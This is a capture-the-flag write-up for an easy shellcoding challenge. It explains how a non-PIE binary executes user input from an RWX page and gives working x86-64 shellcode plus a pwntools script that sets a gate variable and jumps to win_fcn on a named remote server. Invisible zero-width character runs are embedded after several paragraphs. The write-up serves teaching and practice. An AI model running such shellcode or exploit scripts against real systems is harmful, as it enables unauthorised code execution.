← Back to Writeups
CUSTOMEasypwn

pwn4 / call_fcn

XESXOR9/2/20263 min read
#pwn#custom#easy#absolute_address_jump#fread_eof_shutdown#magic_global_gate_satisfy#mmap_rwx_shellcode

pwn4 / call_fcn

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: absolute_address_jump, fread_eof_shutdown, magic_global_gate_satisfy, mmap_rwx_shellcode

Summary

Task: 64-bit NON-PIE NX ELF whose main itself mmaps a RWX page, reads up to 0x400 bytes of shellcode into it and calls it. win_fcn prints the flag only if a global qword equals 0xcafebabe. Solution: write shellcode that sets the magic global then jumps to win_fcn at its absolute address; close the send half so the fixed-count fread returns EOF and the flag is printed.

pwn4 / call_fcn — pwn_spbctf

Description

Just call win_fcn and make it print flag for you.

Tier: shellcoding. Remote service: nc 109.233.56.90 11668 on pwn.spbctf.ru. The 64-bit ELF has NX enabled, but this challenge intentionally allows shellcode because main allocates its own RWX page and jumps into it. The goal is to make win_fcn decode and print the flag.

Analysis

Protections (downloaded binary):

  • 64-bit x86-64 ELF, NON-PIE (base 0x400000) → absolute addresses are usable.
  • NX enabled, no canary. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key functions:

  • main @ 0x400740:

    • mmap(addr=0, len=0x1000, prot=0x7 /* PROT_READ|WRITE|EXEC */, flags=0x22 /* MAP_PRIVATE|MAP_ANONYMOUS */, fd=-1, off=0) → returns an RWX page in rax.
    • fread(buf=[rbp-0x410], size=1, nmemb=0x400, stdin) → reads up to 0x400 bytes of attacker data.
    • memcpy(rwx_page, buf, 0x400).
    • call rwx_page → executes up to 0x400 bytes of attacker shellcode.
  • win_fcn @ 0x4006b0:

    • Compares the qword at global 0x6010b0 (the "get_flag" gate, BSS, initially 0) to 0xcafebabe.
    • If not equal → returns without printing.
    • If equal → loops i = 0..0xc (13 dwords) XOR-decoding the dword array at 0x601050 in place with the qword key, then puts(0x601050) prints the decoded flag and fflush. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

So win_fcn is gated behind a magic global. Since main literally jumps into attacker-controlled shellcode on an RWX page, the gate is trivially satisfied from shellcode: just write 0xcafebabe to 0x6010b0 and jump to win_fcn.

NON-PIE matters: all addresses (0x6010b0, 0x4006b0) are fixed, so no leak is required.

Solution

The shellcode:

asm
mov rax, 0xcafebabe
mov rbx, 0x6010b0
mov [rbx], rax        ; satisfy the gate (qword == 0xcafebabe)
mov rax, 0x4006b0
jmp rax               ; jump into win_fcn -> XOR-decode + puts() the flag

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

There is plenty of room (the buffer takes up to 0x400 bytes).

Critical delivery detail: main uses fread(buf, 1, 0x400, stdin), which blocks until it has 0x400 bytes OR sees EOF. The shellcode is far shorter than 0x400, so fread would hang waiting for more input. The fix is to call shutdown('send') after sending the shellcode, closing the write half of the socket so fread sees EOF and returns. Then win_fcn runs and the flag is printed.

Flag source note (reusable): the downloaded binary's flag data at 0x601050 are dummy placeholders (0x01, 0x02, ...). The real flag is patched into the server's copy, so calling win_fcn on the remote service decodes and prints the genuine flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solver

python
#!/usr/bin/env python3
from pwn import *
import time

HOST, PORT = '109.233.56.90', 11668

# NON-PIE RWX shellcode (up to 0x400 bytes). Set qword [0x6010b0]=0xcafebabe,
# then jump to win_fcn @0x4006b0 which XOR-decodes and puts() the flag.
#   mov rax, 0xcafebabe
#   mov rbx, 0x6010b0
#   mov [rbx], rax
#   mov rax, 0x4006b0
#   jmp rax
sc = bytes.fromhex('48b8bebafeca0000000048c7c3b010600048890348c7c0b0064000ffe0')
log.info("shellcode len = %d", len(sc))

io = remote(HOST, PORT)
io.send(sc)
io.shutdown('send')  # EOF so fread(buf,1,0x400,..) returns
time.sleep(0.6)
data = io.recvall(timeout=4)
print(data.decode(errors='replace'))
io.close()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Equivalent assembly with pwntools:

python
context.arch = 'amd64'
sc = asm('''
    mov rax, 0xcafebabe
    mov rbx, 0x6010b0
    mov [rbx], rax
    mov rax, 0x4006b0
    jmp rax
''')

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍